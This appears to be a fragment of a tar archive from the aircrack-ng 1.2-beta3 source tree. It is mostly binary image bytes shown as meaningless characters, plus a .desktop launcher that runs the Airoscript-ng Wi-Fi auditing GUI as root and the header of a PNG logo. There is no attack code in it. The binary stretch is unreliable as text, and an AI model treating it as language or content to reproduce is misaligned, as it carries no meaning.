©þfþ]ý)¢©©ý€ý²þ\©©ý"ýWÔý\¨©©ý‡(ü¹Ô÷ýBC Cþ  Cþ4þ!C CýB  Cþ(þ'C Cþ<CýBþ.C Cþ6Cþ7þ5C Cþ/Cþ+þ=C Cþ)CýBþC Cþ"Cþ4þ'C CýBCþ#þ/C Cþ:Cþ:þ9C Cþ1Cþ'ýBC Cþ(Cþ;þ(C CþCþ#þ4C Cþ>Cþ4þ@C Cþ3Cý@þ%C Cþ'Cþ(þ4C CýBCþ4ý@C Cþ9Cý;þ)C Cþ+üC<þ;C CýBý3þ!C Cþ7/þ3C Cþ).ýBC CýA.þ1C Cþ4.ýAC Cþ".þ2C Cþ;.ýBC Cþ*.þ7C Cþ>.þ%C Cþ,-ý=C Cý@-þ1C Cþ.-þ&C Cý?,ý>C Cþ,,ý7C Cý>,þ/C Cþ&,þ%C Cþ7,ý=C Cý@,þ,C Cþ*-þ4C Cþ8.þ:C CýA.þ6C Cþ'þþ/C Cþ0þ/ýACCý7þLþ-CCý<ý-Tý-BCCý9üLT÷$4BCC9*ü1TT:ûMTT:þ8TT:ý"RTT:þBTT9þ-TT8ýOTT8þ=TT7þ)TT6ý OTT6þBTT5þ6TT4ý*STT3ý"PTT þþ þ   þþ þ   þ þ þ  þþ þ  þþ þ  þþ þ  þþ þ  þ þ þ þþ þýþ þ þþ þ þþ þýþ þþ þ ýþþ þþþ þ þþ þþþ þþþ þþ ý þ ýþ þþþ ýþ ý þýþ þüþ ýý þ þ/þ þ.ý ý.þ þ .ý þ.þ þ.ý þ.þ ý-þ þ-ý ý-þ þ -þ ý,ý þ-þ ý,þ þ,þ þ,ý ý,þ þ-þ þ.þ ý.þ þ/þ þ þýþþ þýýþýüø ü:û:þ :ý:þ9þ8ý8þ 7þ6ý6þ5þ4þ3ýÿ þ@Ô Ôþ¯ýxê êýÓq þFÔ Ôþªýxê êýÓq þLÔ Ôþ£ýxêê éýÓq þRÔ Ôþžýwé éýÓp þbÔ Ôþ–ýwé éýÓp þtÔ Ôþ„ýwé éýÓp þ†Ô Ôþsýwé éýÒp þ—Ô Ôþaýwé éýÒp þªÔ ÔþOýwè èýÑp þ»Ô Ôþ=ýwè èýÑo þÎÔ Ôþ+ýwè èýÑo þ%Ô ÔýÒýwè èýÑo þAÔ ÔþÂýwè èýÑo þ_Ô Ôþ«ýwèè çýÐo þ~Ô Ôþýuç çýÐo þœÔ Ôþoýuç çýÏo þºÔ ÔþQýuç çýÏn ý ÒÔ Ôþ3ýuç çýÏn þ;Ô ÔýÏýuç çýÏn þ_Ô Ôþ´ýuæ æýÎn þŠÔ Ôþ•ýuæ æýÎn þ´Ô Ôþtýuæ æýÎn ý%ÒÔ ÔþKýuæ æýÍm þMÔ ÔýÒ$ýuæ æåýÍm þ|Ô Ôþ´ýtå åýÍm þ¥Ô Ôþ‹ýtå åýÍm ý#ÎÔ Ôþaýtå åýÍm þUÔ Ôþ9ýtå åýÍm þ‹Ô ÔýÉýtå åýÍm ýºÔ Ôþšýtä äýÌl þ?Ô Ôþcýtä äýÌl þtÔ Ôþ0ýtä äýÌl ý¨Ô Ôþ´ ýtä äýÌl ý7ÑÔ Ôþ ýtä äýËl þxÔ ÔþH ýtä äýÊl ý¯Ô ÔýÉ ýsã ãýÊk ý?ÓÔ Ôþ ýrã ãýÊk þ}Ô ÔþP ýrã ãýÊk ý ¿Ô ÔýÄ ýrã ãýÊk þSÔ Ôþ‰ ýrã ãýÊk þŸÔ ÔþG ýrâ âýÉk ü1ÒÔ Ôý½ ýrâ âýÉj ý{Ô Ôþ ýrâ âýÈj ý ÄÔ ÔýÓ4 ýrâ âýÈj þkÔ Ôþž ýrâ âýÈj þ½Ô ÔþV ýrâ âýÈj Ôý½ ýqá áýÈj Ôþyýqá áýÈi ÔýÐ.ýqá áýÈi ÔþŠýqá áýÈi ÔýÒ8ýqá áýÇi Ôþ˜ûqááà àýÆi ÔýÓ<ýqà àýÆi Ôþžýqà àýÆi ÔýÒ=ýqà àýÆh Ôþ”ýqà àýÆh ÔýÏ2ýqà àýÆh Ôþ‰ýpß ßýÅh ÔýÉ,ý oß ßýÅh Ôþjý oß ßýÅh Ôý¶ý oß ßýÄg ÔþLý oß ßýÄg Ôþ•ý oßß ÞýÃg ÔýÅ*ý oÞ ÞýÃg þ&T TþIýyí íý׃ þ(T TþGýyííìýÖƒ þ)T TþEýyì ìýÖƒ þ+T TþDýyì ìýÖƒ þ1T TþAýyì ìýÖƒ þ6T Tþ;ýyì ìýÖ‚ þýxê êýÓ þCT Tþ5ýxê êýÒ þLT Tþ+ýxê êýÒ ýST Tþ"ýxê êýÒ þ$T TýSýxê êýÒ€ þ/T TþJýxê êýÒ€ þ?T Tþ@ýwêêéýÒ€ þQT Tþ6ývé éýÒ€ þT Tþ)ývé éýÒ€ þ0T TýSývé éýÒ€ þKT TþJývé éýÒ€ þXT Tþ=ývé éýÒ~ ý&VT Tþ0ývé éýÑ~ þFT Tþ$ývè èýÐ~ þ[T TýQývè èýÐ~ ý$[T TþBývè èýÐ~ þFT Tþ1ývè èýÐ~ þ^T Tþ!ývè èýÐ~ ý$_T TþJ ývè èýÐ} þFT Tþ9 ýuç çýÏ} þ^T Tþ) ýuç çýÏ} ý&^T TýP ýuç çýÎ} þGT Tþ? ýuç çýÎ} þ_T Tþ* ýuç çýÎ} ý'YT TýO ýuç çýÎ} þIT Tþ< ýtççæýÍ| þ[T Tþ( ýtæ æýÍ| ü,UT TþM ýtæ æýÍ| ýMT Tþ9 ýtæ æýÌ| ýVT Tþ" ýtæ æýÌ| þ:T TþC ýtæ æýÌ| þRT Tþ- ýtæ æýÌ{ TýM ýså åýÌ{ Tþ8ýså åýÌ{ TýS ýså åýÌ{ Tþ=ýså åýÌ{ TýS$ýså åýÌ{ TþAýså åýÌ{ Tþ$ýsä äýËz TþCýsä äýÊz TýS%ýsä äýÊz Tþ@ýsä äýÊz TýS"ýsä äýÊz Tþ=ýsä äýÊz TýPýsää ãýÉy Tþ3ý qã ãýÉy TýJý qã ãýÉy Tþ)ý qã ãýÉy Tþ@ý qã ãýÈy TýOý qã ãýÈy þ þýzí íýØ‹ þ þýzí íýØ‹ þ þýzí íýØŠ þ þýzí íýØŠ þ þ ýzí íýÖŠ þ þ ýzì ìýÖŠ þ þýyì ìýÖŠ þ þýyì ìýÖŠ þ þýyì ìýÖŠ þ þýyì ìýÖ‰ þ þýyì ìýÖ‰ þ ýxë ëýÕ‰ þ þýxë ëýÔ‰ þ þýxë ëýÔ‰ þ þ ýxë ëýÔ‰ þ þýxë ëýÔ‰ þ þýxë ëýÔ‰ þ þýxë ëýÔˆ þ þýxê êýÓˆ þ þýxê êýÓˆ þ þ ýxê êýÓˆ þ þ ýxê êýÒˆ ý þýxê êýÒˆ þ þýxê êýÒˆ þ+ þýwêêéýÒ‡ þ& þ ývé éýÒ‡ ý' þývé éýÒ‡ þ< þývé éýÒ‡ þ; þývé éýÒ‡ ý( þývé éýÒ‡ þK þývé éýÒ† þO þývè èýІ ý)/ þ ývè èýІ ýN þ  ývè èýІ þN þ ývè èýІ ý+) ý ývè èýІ ýM þ  ývè èýІ þK þ ýuç çýÏ… ý, þ ýuç çýÎ… þB þ  ýuç çýÎ… þ. þ ýuç çýÎ… ü( þ ýuç çýÎ… ý0 þ  ýtç çýÎ… ý þ ýtç çýÎ… þ þ ýtæ æýÍ„ þ þ ýtæ æýÍ„þýtæ æýÍ„þ ýtæ æýÌ„ýýtæ æýÌ„þ ýtæ æýÌ„þýtææåýÌ„þýså åý̃þýså åý̃þýså åý̃þýså åý̃þ ýså åý̃ýýså åý̃þ ýsä äýÊ‚ýýsä äýÊ‚þýsä äýÊ‚ýý rä äýÊ‚þý rä äýÊ‚þ ý rä äýÊ‚ýý qã ãýÉ‚ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ     ýipààý+þy©© ýipààý+ý'ž©© ýipßßý+ýC¨©© ýipßßý+þm©© ýipßßý+ý‘©© ýipßßý+û0¡©© ýioßßý+ü@§© ýioßß Þý+ýa© ýioÞÞý+ýz ýioÞÞý+þ ýioÞÞý+ ýioÞÞý* ýinÞÞý* ýinÝÝý* ýinÝÝý* ýinÝÝý*  ýinÝÝþ]33 ýinÝ#Ý Ü ýimÝÝ*Ü ýemÜ/Ü ýemÜ/Ü ýemÜ/Ü ýemÜ/Ü ýemÜÜÛ ýemÛ/Û ýelÛ/Û ýelÛ/Û ýelÛ/Û ýelÛ$Û Ú ýelÛÛ(Ú ýelÚ/Ú ýelÚ/Ú ýelÚ/Ú e0h þde/e@ ýzƒääý-þ5CC ýzƒääý-ý@CC ýzƒääý-þ&CC ýzƒää ãý,þ2CC ýzããý,ý4ý2BCCý:6ù,220"÷? ?4®áàáhàßà¦ß?y?x@þ 4 þ3 ý2 þ2 þ 2 þ 2 þ2 þ2 þ 3þý3ý ý6ù ÷? ?4tâ áâgáàáàá¾à??€@€ÿ?D@À? ?3{ÜÛÜPÛÚÛðÚ?h?e@À? ?4*áà ágà ßà*ß?y?x@À? ?4âháàácà??€@€ÿ?D@2ý(¹Ô Ô2þ‰Ô Ô1ýIÓÔ Ô1þÔ Ô1þ±Ô Ô1þ¿Ô Ô1þŸÔ Ôþ¼0þwÔ ÔýÏC0ý%ÃÔÔýÓ]2ýTÏÔÔýÓn4ýGÅÔÔýËY6øU†‰‰\#Ã? ?3ÜPÛÚ ÛtÚ?h?e@2ýLT T2þ=T T1þ(T T1þ?T T1þIT T1þMT T1þCT TþL0þ7T TýS&0ýNTTþ/2ý,STTþ44ý(OTTýQ.6ø,<<=/Ã? ?41àßà®ß?y?x@2ý 2þ 1þ 1þ 1þ 1þ 1þ þ0þ ý0ýþ2ýþ4ýý6ø Ã? ?4÷áàáçà??€@€ÿ?D@Ôþ[ý oÞ ÞýÃg Ôþ˜ý oÞ ÞýÃg Ôý½%ý oÞ ÞýÃf üÔÓMý oÞ ÞýÃf ýÔ„ý nÝ ÝýÃf ý©ý nÝ ÝýÂf þ(ý nÝ ÝýÂf ý nÝ ÝýÂf ý nÝ ÝýÂe ý nÝÝ ÜýÁe ý nÜ ÜýÁe ý nÜ ÜýÁe ý nÜ ÜýÀe ý nÜ ÜýÀe ý nÜ ÜýÀd  ýmÛ Ûý¿d 3þŠÛ Ûý¿d .Ûý¿d .Ûý¿d .Ûý¿d &ÛÚý¾d Û&Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .Úý¾d .hýfe /eþdNTþ.ý qã ãýÇy TþAý qâ âýÇx TýMý qâ âýÇx Tþ*ý qâ âýÇx ýT;ý qâ âýÇx ýGý qâ âýÆx þý qâ âýÆx ý pá áýÆw ý pá áýÆw ý pá áýÆw ý pá áýÆw ý pá áýÆw ý pá áýÆw ý páá àýÅw ý pà àýÄv  ýpà àýÄv 4ý5à àýÄv .àýÄv .àýÄv ,àßýÃv àßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .ßýÃv .yýxv /xþtNþý qã ãýÈþý qã ãýÈýý qã ãýÈþý qã ãýÈþ ý qã ãýÈ ýý qã ãýÈ þý qâ âýÇ ý qâ âýÇ€ ý qâ âýÇ€ ý qâ âýÇ€ ý qâ âýÇ€ ý qâ âýÆ€ ý qââáýÆ€ ý pá áýÆ€ ý pá áýÆ~  ýpá áýÆ~ 4ý5Žá áýÆ~ .áýÆ~ .áýÆ~ áàýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ .àýÄ~ /þ~ 0€O/ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþþ /ÿþö /Dþ.N    @@@@@@@@@@@@@@@@@@@@@@@@ÔÔÔÔÒ†iC4!aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/goodies/airoscript-ng_gtk.desktop0000644000000000000000000000043311776654501026754 0ustar rootroot[Desktop Entry] Version=1.0 Type=Application Encoding=UTF-8 Name=Airoscript-ng GTK Comment=Aircrack-ng GUI GenericName=Airoscript-ng-gtk Exec=su-to-root -X -c "airoscript-ng -pzenity" Icon=airoscript-ng StartupNotify=true Terminal=false MimeType=text/plain Categories=System;Monitor aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/goodies/airoscriptlogo.png0000644000000000000000000002177311776654501025513 0ustar rootroot‰PNG  IHDRëªL¸bKGDÿÿÿ ½§“ pHYs × ×B(›xtIMEÜ.d," IDATxÚí}ypי߯¹O ‚ EY¤hI¤d-åÕ}XmK¶åCŽ·âÄv®Z;Þ²S[µÙì&©T*‰·6Þxw+•¸¼Š|eíÈ–­]ɺ%ËÒR6%Ѥ)‘"(^¸18söÌt÷Ë(Ä ¾×ýÞ` ¾ H53ÝýúýÞw   °. -ÿÿá÷§Caöo4h_u™i‡›d-ù»h7kË‹°‹vmMÃ8^wØçÿôK_8°"Y¿þ×÷odþ=€ºuÓFvå¥ÛñHxႬ5 §®£žI½#`dr¯;Y±ç€ãºŸÿw_úâÙódýú·ø·Ìqÿ¸¯§Ë¸rÇ`(•ˆ« ©®£ži ¯S·m¼öæYûôÈD:ûã?úW_ü†öÍo~3T&Ë¿w÷ôH(´~Õ öîScßdn…,õyZ¼V•jß{øq÷O¾üÏ  Cc›z{qÖåx1í1MÓÀTS„Q¤Y0Õ()£°>ö…©G‘F‘¦ÝŒ½CV¦H£ Óö{Ì|{…™"""L[¿Kóü*b)Ò(Ò´õž0Õ)Ò(Ò¬˜jiiÖÇw01Eµ'Ô´éþZä –þ–iiÔþò½”ƒI‘F‘fì _6«mÛŠ0Š4ê å!œiÊ'ëòÅ©VkØ´¹º®«W¦nçÝI/Á·ìº.¦§§<߇/“aUz±‚ÅR…@4&G n%4—Ç-l‹Ö2ŒUx½ÆDU «£;äàw3¶Çê¨8N”‚x.†Í´– jæI,.ñ{p01·eªMÒtð™Þ.‹WÏÿ¿«QÁ‡6ðD6Ž'fÊ?¦Ðwn(ã_Ì#f.Þ$%|¢/€ÿv¢§Ëf éêý[z»/tÒtðå­ÓKˆŠó7ÏðÁî®ï(©©°"ö¦ªøê%¹eD]À`´Žÿ¾;‹¨½.žE_*¢ùþd VScøÂæYt¦ŸûPwqÓU;SáÓé+Ûsh¦èÆL†ÿ¼sé@ﶈ¬íªAÞכÖH}ÕÏ…t†ÁhMíN…%رÑvHöìÜ9 Sc­!Þ*Œ±%hw5øºŽ2®NUè„€­v§Âl Ó÷ÄÎx _ØZNTFø×H´êžu`&O"÷†êøxÏ<×w²uåVXŠQ‹oOÜÛWÄu«ížÃ]*Y—²úO á³}9.•ÄfΔjw*\@Ö™šÁõ?Ì!Õ¦öëŠ&nËW îì.bS¸ÎõǧÈÛ†Ú K%þòTŠë;Aÿz0'Ñ`@ÖvÀ–p ·føì†ãÅž‰©©°"þa6ŒG&ùöÇ në®H¡êÛ) ´¿·L¬ÍÈÖþñ¦9 %ã–‰ûG3pZ˜…¢°þð—§Røõ\˜ë;_Ú–COÈ‘p7\ÁÑ%Ù—ƒI¤|GWAúâX®†Æ2¨¹Š¨ ««Ãv2É*ÝTŠ™ ¿?8ß÷Ï.´Yùÿ‰Â† ›2|YH?OcRå+1_×ñŸÞàÓÂöuX¸6Ý>Þá¶Pƒ?Ñ;ƒÃû{p>Šßä#j*páD1€ï '¸¾óûƒóê‚ó¦Ÿ'ëøksawÜÂŽh•üù¼­ãg“Iµó<áG£1 •èa¾Þ°ƒ{zÅ垯äHjÎÖ6q0pwOžëpøþXJŽ®v‚'8LÃ9ÑÁåëøìæ"’ÂrϽ;…Î;˜˜‡?¿²uo²Œî =%ì•ù(N”BjÇ)øÂHÅÄ÷GèêpÔpqo_Qž¼ê·ØrÉÚZW°¡-”·QQrtüT©¿ Õá3u¬ë-!\ÛÌ&]œõɇ}é22z¨æÑlR©¿ BÕá¿æÈn  ÷mò—èï7:ê¯DÎãu ¸9CW+F¬ä¢j‡)Åá|¿˜¦Gîê)ûÏöÁXÓÏõ¼âªDeÕ‚òÅx$›lIÛ–þH·dŠèÔ¡1†+€æb8YVv²Ll Ù¸µ³€-á:‚:èÀK¹(^+†¥_ûþs \ßi‘B‡!áî%|—3ü#JÚ'+7<’Gp{]ªž(…p¼(Ÿ,·wqWwú¢ë :¸"iá¹Ù8Vö²\—.áãóKª¬:v',¼”‹âÁ‰”ÔtÒ1ËÄßODÉá™õ–ðã±8ÊŽæ‘›Ì3¥õ¥?"ßÉtY¼ŠÞ½ªæçÙ„ô sGWêÎ/!êâÃå–L{’Å,ÑšL¸ŽOôæ–CîK—q_¯ü”¿¿£Æh©ˆqÓÅ=å–jÁKsƒ[è`º¡ƒ.U‡ê8S J½ŸÝ wu­î8øÈ†¼b—`ÜÕà€\ŒkReÜÚY”z35ÍÐ5§n,B×¼RÕ;|9˜x¿×pðž=[é©I¹¹¿ÝAŸí›ƒ¦Ñî=¡š² ¥¿°ÐïRŽ}ãž ÂÕhцްƒ«RUï¤ñ¨Àúënȉ}é2ùD3{p¢ ¯ûƒ¡¿·)‡0GÞ§ê (rýÂ:m=u øG}9Dtyë?ax±º™üù÷ˆlKcšî‹ùœäø4]×6—‘n§n Ó;"Ö™†)Uå# Ó0Y£Æ)ÓÁ'%Û¯ÿ÷”š4¹.cq•t6'ØjŸnTÏÊs1ÂîŠ[H™´‡Ë3xuTžØªãvN;èh! GuýŠ#y¾ÐÌždïMÈ+Y;9[Ãqs€,|néªø¦)<ônè {9¼©‡ôKáºr˜¡øt_I^ÙÑñÐdJ±K0žš‰cœ·áF%k+à±ùògyÉêo9˜˜§аîb7ñDtôž—g›ìIV¸Ô_îÍ `«TGªðߌdPæH#M™nÉÈó?ýÆ rFé³;âu¾Ñ>££$S󫯎ËUrkÑS‰Ý˜•ò"La7Ÿzýðd'KAÅ,I˜®›øÞhš+)ç–N‘%kKQ³JxѼœüù:y¤+óÆä¦õ¬‚5â«“tÇÒ¡ZdÅ}oî,q9çÃøÅ¬êœ(ÇJa<;'>¤3|HbÜûÑÉÙÑt{w]7IZjúŠ%ÊsF\ØKc4µ³jFñÛQ9=[c†Ë\/;:~¢ìÔ–á±lS5ºýzM²Œ!9#SN:…áðVÒg{Ã6¶JŸB·Ü,)f³#V%;sN&÷ 85,GªfŠ\qºŸL¦Tãð¢Î4ü`Œ®ë¸ê¡¹li«„¸”~p´¨©š¾àD‘—±+FW«Q^Ñ]\ÏÑ=q¨Â+óª![«q¶ä*…¼"Q‘&]Ÿ7àÜ}Žl&ÿ&!|m¥!È+¡b&qì줔…¿®£LÎTbJ(欞˜Nû#in’ä>÷æ œ‰l§ ¤D Qƒ âé Ö,©ašOÑÚª£ƒØ âtü2T²#ÂÝЀ8¤ê¡|Dzñ€BcÌÛž™¡;›®IU¤äl»µ 9ý¤ÏšÃÕiªtå'Us—£©1x’öOVbá~OÌBš˜9å0MIÕ6À/fã丶©1®hNѽ)‚¹ÇD ¦Zä`Ù‘q9ƒ†ßŽËqÅÿnýE¾’`FÍy]sX®†ç8B9ïï(CFyú‘7‡Q4h‡÷{“5‰+²È,at ` B{€©H?¦''„?bÂtqÑÁŸÔ//è :è\çÚÃ:Co¨.5åþ!CÅ¥I×î ¨x²ØU G´Ògû£6¹*‹¿åï[ZÙSäacR³LNÚSÂïaO²B.É;^ I™£ƒá¶®"nÊ”3Ö£âêx~6†'²q²Çq­±ÐÕaý¡4 pp¦ăiLHX7ËÑp0ÁDÞD§Ëâ} ¯Ì™x?A¸jv&ê88’¦ ÓŽ®æYP+«ÀúI74-Çæà±e^˜Ÿ©Ö¾²mû» ç‰ ,„’îì*àË3\k…+|e ‹-áÚùB}C¶GkøÚ¶,W‘~9#‹‘=É ×¸P*^=;Mþì®DÍ;™šù‡Ù2›µ©(öࢪÀ NNŠ·W3ýÄN¹ºã%±ô4 ølß\Ó¢H è*¶5Q“¦ƒOõÎ7$‚©1|¦/ÇUAÅtÝěļì¸éb[D|7‰Ñ¼ƒ¼F;Èw&jRß…þŽlöðׄ±Ô—7«%¤4ïÞ·È æÁùDWäÝÜQ$U]ßQjkExo²‚¨ÑÜœ15†ÏmžCد%œ§'Iì–Të:dÑ|—Åë{3q:˜üüÈ'€¶3IÁYI1Mž°Ñá‚Øl¥ÞPû7ÐRᢆ‹LÐi[²nÓ´“LÀÁÝ’ëÃäV¤—IêÓttºF~—V™–~Á€8“”î†Ó¦—ÄåêÂ×Ð.!¾¸©š‰QK\¯' À§zçÉÏ ­;Pð¤ìK—0(Ø+[vt¼AFÖ²¹F²Pq,G×ü¶Dì&Î%æ+ôB¾‹fŒ_ž|M‘D9ïÜŠÖÉé…¢»¾_‘¨íu(Ú:rõö-µèšàžž¼pµþ(Ç;zOL¼*Ì3ÏuõŽ~L ‹b 6pUF¸„‡,Ç âºýëðá¾Jž:εÀËóä9ºdl ×p•`ï0ÏD†Á¨xM­`ëÈ+°d–Ëé͵`oÉÁ=D²æmøæÁV"Y«®†SmæÝ ]Ig+A®Lµ@ÉÑñ“É4—Ö&º)÷\Ý Çr·DäxdÏ• âõmÁru™ƒÉmø3ÞÐCœ­‰W5Ðc¼g*A¡sTnâ˜6PquüŸ‘¸ë câá|Ïs*›Ãuá¶+u8XwÐ^Õ{íÃDsm‹ÉÊÛƒÉ í³."Yy:P‘ :Kšž–¥*ï}h"EV­ÚL%0Í‘7}c¦$ôúÔ¨z§.²VhÏ3Üæc!}ÈÄóÞ`²X^lÇ®`Ìš#Ÿl2ìÕž ýE.‹“ìצèÙRç*¼,¸¸]×r¡7†lô‡ëè Ø\ÓVCi\“ôvÇ-¡ôyÞÕÆàÚ‘@4ó¤ ³ æ³ z¯I“ží:'A²ðx¢ÏYb$«¾€üßg“‚e—ÄjØ›(cwÂZ±®sÄ àH>Œ_ÏG1ïs½[ãœ$%¼Ã剪°Ci¦n¢äè$­©GB÷ˆl•¾vA§Ë¸J+R_ Äã‚‘2aÒã\ùºxçõEl]XæT„^dÎ b¨äßݪ㞞üªÉ›Ãul×q{WÏÏÆðôL–ëÝNf:†²™¦î_™¨Õ &«&ÉÔÑêe¶Fß+ö‚ßʶ… ¦U¦Ñ‘â¨Ú/8â%ë†5°—wÅéRõÀ\Ô÷õnë,âkÛ²\YZAáö®"¾6˜%g—5’®ÔPÎ¥±* ¨fuð `먑!êSú±Æ&? ÓÖZ²R3XDÚË;¢4Ò8la³ûÁ]|xCÞs…IWÀÆ—·N£/äÍ®s¡áh1B> 6 töLØ¨á µ×ßæÄQº6íLâC¾%Y™·ÙT+’•vªX.ý¤"ÛŽ3hd$Y5€¼ñOWB¾Tï}é2ö h¿Ñ]ü‹-³äv7+IW*6…Ä‘•ç%Lñi‡sÄL³Î ËqPZ¨a±deÂzƉžà¼„Ù1qÃ%Kœ¼ <°ÉÕ&¯ûÈ–Jš.>Ö#näaÒtðQ¿7T ’;n ‹#+Ogã5戚`²I膧 ÿ2-˜'ÎJcm€¨~T$”Å%ŒÖ«à›96ã9yÐì.o¥reÒâJÍ|G×0V _ŸÕ0ÏqÀˬÔ&n!I-oˆ¦-ÄY)°™øÂ¿Ä8·xò Ç«ÞÈ5\®8.nöØw—ú,=![XbÑÖÉyê2Ú“Rµ‰Æ‡*áæýN‘ãц©d­Iâ(~. ’ìTµ®np6\ŒÝqKZû—]‰ª'‰=BLp$ɬ9—<,AºÕˆÂ:Øè]y61¯ òËY+ÉÊ&¨»b®%~ææP§x]³íòxgmg¸“¹FÜ7¦„íê[²úã°¹ÄÁÄ{…mV¬Yy^¨ë‡‰R£ìx¿^§äN™€ €ÏùÅcóG&ÖÛkHVjô"h4#¥‡ûâw0­tx_¤ú’Õaâº3Pó_-¥€qC.YS$_•C3™QwZM^›U–ƒÉÞî`ÈZL˜µ$«¸kSm#ˇde’Ëè¼È=ž5)å¨îªµ”¬¾Š_×Å¿xÚé‹»ÄÅÙ_–ü}œ¶2Ò2cÞC‹§‹ŸÈÃÑ$þ”#¡g$ÕÉWw¨+°×YW8òë.uÑ×îä34v¾Yµ_Tˆ3ê£MçLM.Yg=Ì÷áq¢ØBɺvÌ oÁcÓßÅdeÂÚS½¬2l ž\Ôõé¡ïNÑMÝ–«ç'=Œˆsع–+Ž85ô‰P¨æö¼w¢y’¬ÍBBT›" AXðÄnEIvªã(æÃ#z¼’bãÀå°§ßNqd¦–š"TQÏd%jxÈêsË-š"Ç3ê±1]mâ)jbíÔ`º”lÚ5»CŽç¢âêx^Â,ƀdzÞ¶õôJ‚ln @ÔdþÓÉZu°®˜ÁÄZO6k‘ãoÚ'‡Çž$Ú{:˜¯¢è§§ãÂ;A¾šxN¤VÓÌØ¦°0YÌtÉŽÉ’§™¬M ®qX¡»¡PéF䀌¹(<^Ó„ Ø%O“r?(%GÇ#Â6þx5€'Òž¿O}‘Mܹ 5$TuEˆ{¶QZ¢×W·ÌÁaÉÁÔÓ_F ¿`ÓB¢Rà&ª&Ùæ£©7´/K!ül*å[ÊÛ:îéðìøé ÛäõJVŽw&ƒ¬ÔÖ=…¦9à¾LÌWó᥄1ˆdu…ÏÓ´™F.½5 Êf¹õ®DÕw|ù—³1|k¸Ó³J|²Â×Om@ÖGñýî8½ãþˆ@²ò̱‘›¦•Ï5 µù{÷+L‘ó»¡ÖjšéJíà×#°OµKbDw±#æ¿ùõ±b~ª ‡òò미:þn*‰ÿu.ã»QÜÄNŽŒ-´]j3¼:Ó¤Œ¥JÖY튧2˜ï^Œ1Tà¬æŸÜŽt¢j’<•ö–=Záº4­©õû;Jä©h«9¶¾3Ú§¦ã¸:UÁ{º—@N•C8\ãP>â¹Do1¶Dêä‚ò³VP(i¨=¡§ª¦ð͈ÁÈ6ël“$?÷å«ói+,Tó‹¡AíZ˜ ,„RDdº •B¨¹É[¸;¾0gº.¦ÔX5€±©þn*‰€Æ8é y[GÑ1„縑cDˆßæp°4É:)aÒC‡ >Ó¨±óÊ3Fw05r+ûµdôÉ™"Úº&®?PiäIgºÜÖU„ Ô™†lÍĈ@ÞOÔž=)kMÈã:-cÒ½ VáéÝ“KêÁËÑÈ¥DÝú»òœªÛd☞~mªLN*h'ÜÓ“';ÈF­€/'ÖrlÔÈ©ù2Ⱥ)Bß«35Áö2[â`bØßìf‰N ÓÇ-“|Xl8éìH>L4¥kÀgúrR*dáÊD;9¿ 8ãj€cîêH5(üù·ÉZs5Ì6¬~’ø—ªÁžd)k Ýhv¨Œ1.4rloÇiM¹î‹´?\ÇGz 남ÝAŸî£·--9:^[OÖÎÈžèseSÂ[Xâ +Ýxœ<2Tá“¥ 9žu‡FÁ33q®ØñÆ`]Jž´0[‘³ øãÓ _ý¦VGÅ¡|‡ò4‹Í4LU¶%+µ„Îf¾7&®*è¸F¶—O”BRšË½wm/9LØeú¬|&Aó©È¶CŸ–“âdâµ7U~ý‡&S«ÇßÙ`.´¶%ë±bˆd$ýt2)%¾¹'I7ÇJrÚßPÕð“%“ËÁèÛÁÄÇÖÆ¯ñ ‘¬:s°5#~‘‡­ Ù…?© vö¶Jöí‘LÓ—g¹:œHµµƒéL%¸jÌô@.ƶ¢"j¸d²Ö™†× â÷Q&lÍ x¬$ÑÎku›.ë%ó¸Ðwô¤¤œF‡9²Š~'-~ðÓˆÀ_œéZ±Ll¬À_í$Ïü\Kül2‰'§¨¸6Óðh6‰K:p®IUÈZ×ñbHhc¶ó*ð–nºéU ö¥w=Ø|çÄb´b’“Û/‰XR^ö¡|·vÒòpß—,ãÑ)ñžÌñjq¦ƒ‘*ú#uè0\ àd9(­ šh8LãÙ~•‹`0ZCWÐÁTÍÄ©rPÚa£iÀõ%®w-{6˜ä`Éë«HVÏ,c‹Èêí§šÏÇq¡aØ †m±N#„Us±˜¨š¤ðPØ`¸>SÆSÓq ›*‡0Ta=c¦nbfÞlɵ®X¡ä¯™9!¥]«¦c9,¤\]Ǹe‰çÂG>.Æ)b?ZÓ­âò­½R^úK¡„:ŠÂ+xà€[3ôT̃ó)Ž­[Ñ['}öµBPúºïÁ´ÄŽàðÎíLÊI»ûUŽþ"“¦KV›äáªd[ˆQ âÜ€ëûéšÐ˹0éf½%ó p0­Æ×3åy Ó¶êi˜‰Ná n¹:^å°gnÊ¥LÍV ÁÐöo 